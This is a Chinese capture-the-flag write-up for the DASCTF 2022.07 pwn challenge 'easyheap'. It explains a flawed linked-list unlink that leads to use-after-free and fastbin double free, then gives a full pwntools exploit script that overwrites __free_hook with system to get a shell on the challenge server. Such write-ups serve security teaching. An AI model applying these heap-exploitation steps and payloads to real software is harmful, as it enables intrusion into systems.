栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

DASCTF2022.07赋能赛 - Pwn easyheap

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

DASCTF2022.07赋能赛 - Pwn easyheap

题目分析


有Add,Show,Delete三种操作

Add:


读取名字和内容,并根据名字计算出一个idx,插入到对应的链表中。

Show


根据idx输出某个链表内所有的内容

Delete


先计算出所在的idx,然后再从链表中摘下对应的Node

漏洞分析

漏洞在Delete 函数中,当从链表中摘下一个节点时,由于是双向链表,应该有这样的操作:

CurNode->prev->next = CurNode->next				//1
CurNode->next->prev = CurNode->prev				//2

但是这里只有操作1

示例


当从链表中删除2 节点时,删除之后的样子是:

此时我们再删除掉3节点:
由于3的prev指向的是2,所以删掉3节点之后,1节点的next指针任然指向的是3节点。
此时我们就可以 UAF 了。

利用

通过上面的操作,很容易就可以leak heap base和libc base,之后的操作有一点复杂。
通过UAF 可以造成double free,由于tcache bin 有double free的检测,同时还会再一次free 掉content,而content是存在于 unsorted bin或者tcache bin,所以只能在fastbin中double free,并且在double free之前必须使content 被重新分配,这样double free在free(content)的时候才不会崩溃

大概的构造方法:

leak 掉libc 和 heap 后,此时tcache bin中的0x210和0x30的chunk 都是7个。unsorted bin里面应该也有一个

  1. 再free 6个node ,填到unsorted bin里面 (要保证不会合并)
  2. 再free 1个node , 这个用来double free
  3. 再free 几个node ,主要是填充fast bin 0x30的位置,unsorted bin是先进先出的 (这点需要注意) (这些node 会在一会清空tcache 的时候会被使用掉,)
  4. 接着add 清空tcache bin 的0x210的chunk,此时注意unsorted bin里面的chunk
  5. 接着我们再add一个,此时由于0x210的tcache 是空的,会从unsorted bin bk开始,取出7个填到tcache bin里面,然后返回红色圈主的那个chunk,而那个chunk是double free node 的 content指针
  6. 此时double free的0x30 chunk 还留在fast bin中 (需要再第三步free 足够多才行)
  7. 接着就可以利用double free
之后的操作:

double free之后可以fastbin attack修改fd,但是fd要修改到哪里呢?

我们可以修改fd 到 某个0x210 chunk 内伪造的chunk,而且此时这个 0x210 的chunk还没有被分配, 而且伪造的0x30被分配之后,这个0x210的chunk还没有被分配。

那么之后我们就可以通过这个0x210的chunk修改0x30chunk的内容

看这里这几步操作,我们如果把last 修改为 free_hook - 0x20,并且把next 修改为 system地址,content 修改为bin_sh地址,那么上述操作实际上就是:
if (last) //last = &__free_hook - 0x20
last->next = system
system(“/bin/sh”),然后就可以getshell了!
而这些都可以通过那个0x210的chunk来修改!

exp:
from pwn import*
libc = ELF('libc-2.31.so')

#sh = process('./pwn')
sh= remote('node4.buuoj.cn',28680)

def add(name,content):
    sh.sendlineafter(b'> ',b'1')
    sh.sendlineafter(b'name: ',name)
    
    sh.sendlineafter(b'content: ',content)
    

def free(name):
    sh.sendlineafter(b'> ',b'3')
    sh.sendafter(b'name: ',name.encode().ljust(0x10,b'x00'))


def show(idx):
    sh.sendlineafter(b'> ',b'2')
    sh.sendlineafter(b'idx: ',str(idx).encode())


def hash(s):
    val = 0
    for c in s:
        val = val * 19 + c

    return val&0x37

def get_name(addr,idx):
    name = p64(addr)[:7]
    for a in range(26):
        for b in range(26):
            for c in range(26):
                for d in range(26):
                    tmp = name
                    tmp += p8(ord('a') + a)
                    tmp += p8(ord('a') + b)
                    tmp += p8(ord('a') + c)
                    tmp += p8(ord('a') + d)
                    
                    tmp = tmp.ljust(0x10,b'x00')
                    
                    if hash(tmp) == idx:
                        return tmp
    return None

def make_name(addr,idx):
    name = p64(addr)
    for a in range(26):
        for b in range(26):
            for c in range(26):
                for d in range(26):
                    tmp = name
                    tmp += p8(ord('a') + a)
                    tmp += p8(ord('a') + b)
                    tmp += p8(ord('a') + c)
                    tmp += p8(ord('a') + d)

                    tmp = tmp.ljust(0x10,b'x00')

                    if hash(tmp) == idx:
                        return tmp
    return None


idx_33 = ['jpze','jpzm','jqcq','jqcy','jqdf'] 
idx_32 = ['jpyo','jqbs','jqch']

idx_35 = ['jqay','jqbf','jqbn','jqem']

idx_37 = ['jqdj','jpwb','jpwb','jpzi','jpzq','jqac','jqcu','jqdb','jqgq','jqgi']

idx_36 = ['jqcd','jqcl','jqfk','jqfs','jqir','jqiz','jqjg','jqly','jqst']
idx_39 = ['aabj','aabr','aaeq','aaey','aaff','aahx','aaie','aaim','aall','aalt']

idx_1 = ['aaaj','aaar','aadq','aady','aaef','aagx','aahe','aahm','aakl','aakt']

for i in range(5):
    add(idx_33[i],b'')

add(idx_32[2],b'2')
add(idx_32[1],b'3')
add(idx_32[0],b'4')

add(idx_35[3],b'')
add(idx_35[2],b'')
add(idx_35[1],b'')

for i in range(10):
    add(idx_37[9 - i],b'x00' * 0x40 + p64(0) + p64(0x31))

for i in range(9):
    add(idx_36[i],b'')

for i in range(7):
    add(idx_39[i],b'')

add(idx_1[0],b'')

for i in range(5):
    free(idx_33[4 - i])

#for i in range(7):
#    add(idx_39[i],b'')

free(idx_32[1])
free(idx_32[2])

show(32)
sh.recvuntil(b'=>')
sh.recvuntil(b'=> ')
heap_base = u64(sh.recvline()[:-1].ljust(8,b'x00')) - 0x1050

log.success('heap_base:%x',heap_base)

#leak libc base
add(idx_35[0],b'')
#libc_base = u64(sh.recvuntil(b'x7f')[-6:].ljust(8,b'x00')) - 0x1ebbe0
#log.success('libc_base:%xn',libc_base)
free(idx_35[1])
free(idx_35[2])
show(35)
libc_base = u64(sh.recvuntil(b'x7f')[-6:].ljust(8,b'x00')) - 0x1ecbe0
log.success('libc_base:%x',libc_base)

addr = heap_base + 0x2d50
name= get_name(addr,37)

if name == None:
    print("failed!")
else:
    print(name)


# -> unsorted bin
for i in range(5):
    free(idx_37[9 - i])

free(idx_37[1])

free(idx_37[2])   #double free
free(idx_36[8])
free(idx_36[7])

for i in range(7):
    free(idx_39[i])

for i in range(7):
    add(idx_36[6],b'')

idx_1 = ['aaaj','aaar','aadq','aady','aaef','aagx','aahe','aahm','aakl','aakt']

add(idx_1[9],b'') 

addr = heap_base + 0x1e10 

#double free
sh.sendlineafter(b'> ',b'3')
sh.sendafter(b'name: ',name)

#idx:7, modify fd ptr 
name1 = make_name(addr,7)
add(name1,b'')

add(idx_1[8],b'')
add(idx_1[7],b'')

#sleep(2)
log.success('addr:%x ',addr)

add(idx_1[0],b'')

payload = b'a' * 0x40

payload += p64(0) + p64(0x31)
payload += idx_1[0].encode().ljust(16,b'x00')
payload += p64(libc_base + 0x1B45BD)
payload += p64(libc_base + libc.symbols['__free_hook'] - 0x20)
payload += p64(libc_base + libc.symbols['system'])

add(idx_35[0],payload)
#gdb.attach(sh)
#sleep(1)

free(idx_1[0])
#gdb.attach(sh)
sh.interactive()

(靶机的libc和题目附件中的libc版本不一致,靶机中使用的是: 2.31-0ubuntu9.9_amd64)

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1027096.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号